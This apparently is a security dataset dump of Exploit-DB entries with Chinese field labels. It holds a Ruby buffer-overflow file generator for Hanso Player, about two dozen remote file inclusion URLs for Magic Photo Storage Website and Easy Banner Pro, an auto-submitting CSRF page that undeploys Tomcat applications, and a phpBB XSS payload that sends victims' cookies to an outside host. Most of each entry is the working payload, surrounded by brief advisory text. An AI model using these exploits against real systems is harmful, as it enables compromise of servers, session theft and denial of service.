QLWD/code_shield huggingface dataset:
标题: Hanso Player 2.5.0 - 'm3u' Buffer Overflow (Denial of Service) EDB-ID: 29445 CVE: 2013-7280 类型: DOS 平台: WINDOWS 发布日期: 2013-11-05 漏洞利用脚本: #!/usr/bin/env ruby
# coding:UTF-8
# Exploit Title:Hanso Player 2.5.0 Buffer Overflow
# Author:Necmettin COSKUN => twitter.com/babayarisi
# Vendor :www.hansotools.com
# Software link:http://www.hansotools.com/downloads/hanso-player-setup.exe
# version: 2.5.0
# Tested on: windows XP sp2

DENEME = "\x41" * 240

File.open('hanzo.m3u', 'w') do |bofdosya|  
bofdosya.puts (DENEME)
bofdosya.close()
end URL: https://www.exploit-db.com/exploits/29445
标题: iPlanet Web Server 4.1 - Search Module Cross-Site Scripting EDB-ID: 29439 CVE: 2007-0183 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21977/info

iPlanet Web Server is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects all versions of iPlanet Web Server 4.

http://www.example.com/search?NS-max-records=[some number]"<script> URL: https://www.exploit-db.com/exploits/29439
标题: Magic Photo Storage Website - '/user/user_membership_password.php?_config[site_path]' Remote File Inclusion EDB-ID: 29434 CVE: 2007-0182 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21965/info
                           
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                           
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/user/user_membership_password.php?_config[site_path]=http://www.example2.com URL: https://www.exploit-db.com/exploits/29434
标题: Apple Mac OSX 10.4.8 - DMG UFS FFS_MountFS Integer Overflow EDB-ID: 29441 CVE: 2007-0229 类型: DOS 平台: OSX 发布日期: 2007-01-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/21993/info

Apple Mac OS X is prone to a remote integer-overflow vulnerability. This issue occurs when the UFS filesystem handler fails to handle specially crafted DMG images.

A successful exploit can allow a remote attacker to execute arbitrary code with kernel-level privileges, leading to the complete compromise of affected computers. Failed exploit attempts will result in a denial-of-service condition.

Mac OS X 10.4.8 and freeBSD 6.1 are vulnerable; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29441.dmg.gz URL: https://www.exploit-db.com/exploits/29441
标题: Magic Photo Storage Website - '/user/index.php?_config[site_path]' Remote File Inclusion EDB-ID: 29426 CVE: 2007-0182 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21965/info
                   
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                   
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/user/index.php?_config[site_path]=http://www.example2.com URL: https://www.exploit-db.com/exploits/29426
标题: Edit-X - 'Edit_Address.php' Remote File Inclusion EDB-ID: 29438 CVE: 2007-0190 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21974/info

Edit-x is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/[editxPATH]/editx/edit_address.php?include_dir=HTTP://www.example2.com URL: https://www.exploit-db.com/exploits/29438
标题: Magic Photo Storage Website - '/user/logout.php?_config[site_path]' Remote File Inclusion EDB-ID: 29428 CVE: 2007-0182 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21965/info
                     
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                     
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/user/logout.php?_config[site_path]=http://www.example2.com URL: https://www.exploit-db.com/exploits/29428
标题: Magic Photo Storage Website - '/user/register.php?_config[site_path]' Remote File Inclusion EDB-ID: 29429 CVE: 2007-0182 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21965/info
                      
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                      
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/user/register.php?_config[site_path]=http://www.example2.com URL: https://www.exploit-db.com/exploits/29429
标题: Magic Photo Storage Website - '/user/upload_photo.php?_config[site_path]' Remote File Inclusion EDB-ID: 29430 CVE: 2007-0182 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21965/info
                       
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                       
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/user/upload_photo.php?_config[site_path]=http://www.example2.com URL: https://www.exploit-db.com/exploits/29430
标题: Easy Banner Pro 2.8 - 'info.php' Remote File Inclusion EDB-ID: 29437 CVE: 2007-0178 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/21967/info

Easy Banner Pro is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Easy Banner Pro 2.8 is reported vulnerable to this issue; other versions may also be vulnerable.

http://www.example.com/info.php?s[phppath]=http://phpshell URL: https://www.exploit-db.com/exploits/29437
标题: Apache Tomcat 5.5.25 - Cross-Site Request Forgery EDB-ID: 29435 CVE: 2013-6357 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2013-11-04 漏洞利用脚本: +--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title     :  Apache Tomcat 5.5.25 CSRF Vulnerabilities
# Date              :  10-24-2013
# Author            :  Ivano Binetti (http://ivanobinetti.com)
# Author            :  Gianmarco Pirozzi (http://www.linkedin.com/pub/gianmarco-pirozzi/63/80b/2a5)
# Vendor site       :  http://tomcat.apache.org/
# Version           :  Apache Tomcat 5.5.25 and below (other versions could be affected)
# Tested on         :  Apache Tomcat 5.5.25
# Original Advisory :  http://www.webapp-security.com/2013/11/apache-tomcat-5-5-25-deployundeploystartstop-applications/
# CVE-ID            :  CVE-2013-6357
+---------------------------------------------------------------------------------------------------------------------------------+
Summary

1)Introduction
2)Vulnerability Description
3)Exploit
 3.1 Undeploy Applications
+---------------------------------------------------------------------------------------------------------------------------------+

1) Introduction
Apache Tomcat is an open source software implementation of the Java Servlet and JavaServer Pages technologies. 
The Java Servlet and JavaServer Pages specifications are developed under the Java Community Process.

2) Vulnerability Description
Apache Tomcat 5.5.25 and below (other versions could be affected) is prone to a CSRF vulnerability affecting the Manager application
(which is the component utilized to start/stop/deploy/undeploy applications) in order to perform the following malicious activities:

- stop an existing application
- undeploy an existing application
- deploy a new application

In this Advisory I will only demonstate how to automatically undeploy an existing application.

3) Exploit 
 3.1 Undeploy Applications
 <html>
 <body onload="javascript:document.forms[0].submit()">
 <H2>CSRF Exploit to Undeploy an Application</H2>
 <form method="POST" name="form0" action="http://<tomcat_ip>:<tomcat_tcp/port>/manager/html/undeploy?path=/<name_of_application_to_undeploy>">
 </form>
 </body>
 </html>
+----------------------------------------------------------------------------------------------------------------------------------+ URL: https://www.exploit-db.com/exploits/29435
标题: Magic Photo Storage Website - '/user/login.php?_config[site_path]' Remote File Inclusion EDB-ID: 29427 CVE: 2007-0182 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21965/info
                    
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                    
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/user/login.php?_config[site_path]=http://www.example2.com URL: https://www.exploit-db.com/exploits/29427
标题: Magic Photo Storage Website - '/user/user_catelog_password.php?_config[site_path]' Remote File Inclusion EDB-ID: 29431 CVE: 2007-0182 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21965/info
                        
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                        
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/user/user_catelog_password.php?_config[site_path]=http://www.example2.com URL: https://www.exploit-db.com/exploits/29431
标题: Magic Photo Storage Website - '/user/user_extend.php?_config[site_path]' Remote File Inclusion EDB-ID: 29433 CVE: 2007-0182 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21965/info
                          
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                          
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/user/user_extend.php?_config[site_path]=http://www.example2.com URL: https://www.exploit-db.com/exploits/29433
标题: phpBB 2.0.21 - 'privmsg.php' HTML Injection EDB-ID: 29442 CVE: 2006-6421 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/22001/info

phpBB is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would execute in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible. 

Version 2.0.21 is vulnerable; other versions may also be affected.

Create a Shockwave Flash file with this code:

var username:String = "user_that_doesnt_exist";
var subject:String = "Xss Exploitation";
var message:String = "&lt;/textarea&gt;<script>document.location= 'http://site.com/cookie.php?c=' + document.cookie </script>";
var folder:String = "inbox";
var mode:String = "post";
var post:String = "Submit";
getURL("http://www.example.com/phpBB2/privmsg.php", "_self", "POST");

Put it into a web page:

<html>
<head>
<title>Put a title here</title>
</head>
<body>
<p>Put some text here<p>
<iframe src="http://www.example.com/exploit.swf" frameborder="0" height="0" width="0"></iframe>
</body>
</html> URL: https://www.exploit-db.com/exploits/29442
标题: Magic Photo Storage Website - '/user/user_email.php?_config[site_path]' Remote File Inclusion EDB-ID: 29432 CVE: 2007-0182 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21965/info
                         
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                         
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/user/user_email.php?_config[site_path]=http://www.example2.com URL: https://www.exploit-db.com/exploits/29432
标题: Magic Photo Storage Website - '/include/config.php?_config[site_path]' Remote File Inclusion EDB-ID: 29418 CVE: 2007-0182 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21965/info
           
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
           
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/include/config.php?_config[site_path]=http://www.example2.com URL: https://www.exploit-db.com/exploits/29418
标题: Magic Photo Storage Website - '/user/delete_category.php?_config[site_path]' Remote File Inclusion EDB-ID: 29425 CVE: 2007-0182 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21965/info
                  
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                  
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/user/delete_category.php?_config[site_path]=http://www.example2.com URL: https://www.exploit-db.com/exploits/29425
标题: Magic Photo Storage Website - '/user/add_news.php?_config[site_path]' Remote File Inclusion EDB-ID: 29421 CVE: 2007-0182 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21965/info
              
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
              
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/user/add_news.php?_config[site_path]=http://www.example2.com URL: https://www.exploit-db.com/exploits/29421
标题: Magic Photo Storage Website - '/user/couple_milestone.php?_config[site_path]' Remote File Inclusion EDB-ID: 29423 CVE: 2007-0182 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21965/info
                
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/user/couple_milestone.php?_config[site_path]=http://www.example2.com URL: https://www.exploit-db.com/exploits/29423
标题: Magic Photo Storage Website - '/admin/approve_member.php?_config[site_path]' Remote File Inclusion EDB-ID: 29412 CVE: 2007-0182 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21965/info
     
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/admin/approve_member.php?_config[site_path]=http://www.example2.com URL: https://www.exploit-db.com/exploits/29412
标题: Magic Photo Storage Website - '/include/db_config.php?_config[site_path]' Remote File Inclusion EDB-ID: 29419 CVE: 2007-0182 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21965/info
            
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
            
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/include/db_config.php?_config[site_path]=http://www.example2.com URL: https://www.exploit-db.com/exploits/29419
标题: Magic Photo Storage Website - '/admin/list_members.php?_config[site_path]' Remote File Inclusion EDB-ID: 29415 CVE: 2007-0182 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21965/info
        
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
        
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/admin/list_members.php?_config[site_path]=http://www.example2.com URL: https://www.exploit-db.com/exploits/29415
标题: Magic Photo Storage Website - '/admin/delete_member.php?_config[site_path]' Remote File Inclusion EDB-ID: 29413 CVE: 2007-0182 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21965/info
      
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
      
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/admin/delete_member.php?_config[site_path]=http://www.example2.com URL: https://www.exploit-db.com/exploits/29413
标题: Magic Photo Storage Website - '/user/add_category.php?_config[site_path]' Remote File Inclusion EDB-ID: 29420 CVE: 2007-0182 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21965/info
             
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
             
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/user/add_category.php?_config[site_path]=http://www.example2.com URL: https://www.exploit-db.com/exploits/29420
标题: Magic Photo Storage Website - '/user/change_catalog_template.php?_config[site_path]' Remote File Inclusion EDB-ID: 29422 CVE: 2007-0182 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21965/info
               
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
               
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/user/change_catalog_template.php?_config[site_path]=http://www.example2.com URL: https://www.exploit-db.com/exploits/29422
标题: Magic Photo Storage Website - '/admin/index.php?_config[site_path]' Remote File Inclusion EDB-ID: 29414 CVE: 2007-0182 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21965/info
       
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
       
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/admin/index.php?_config[site_path]=http://www.example2.com URL: https://www.exploit-db.com/exploits/29414
标题: Magic Photo Storage Website - '/user/couple_profile.php?_config[site_path]' Remote File Inclusion EDB-ID: 29424 CVE: 2007-0182 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21965/info
                 
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/user/couple_profile.php?_config[site_path]=http://www.example2.com URL: https://www.exploit-db.com/exploits/29424
标题: Magic Photo Storage Website - '/admin/membership_pricing.php?_config[site_path]' Remote File Inclusion EDB-ID: 29416 CVE: 2007-0182 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21965/info
         
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
         
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/admin/membership_pricing.php?_config[site_path]=http://www.example2.com URL: https://www.exploit-db.com/exploits/29416
标题: Magic Photo Storage Website - '/admin/admin_paypal_email.php?_config[site_path]' Remote File Inclusion EDB-ID: 29411 CVE: 2007-0182 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21965/info
    
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
    
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/admin/admin_paypal_email.php?_config[site_path]=http://www.example2.com URL: https://www.exploit-db.com/exploits/29411
标题: Magic Photo Storage Website - '/admin/send_email.php?_config[site_path]' Remote File Inclusion EDB-ID: 29417 CVE: 2007-0182 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21965/info
          
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
          
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/admin/send_email.php?_config[site_path]=http://www.example2.com URL: https://www.exploit-db.com/exploits/29417
标题: Magic Photo Storage Website - '/admin/add_templates.php?_config[site_path]' Remote File Inclusion EDB-ID: 29410 CVE: 2007-0182 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/21965/info
   
Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/path/admin/add_templates.php?_config[site_path]=http://www.example2.com URL: https://www.exploit-db.com/exploits/29410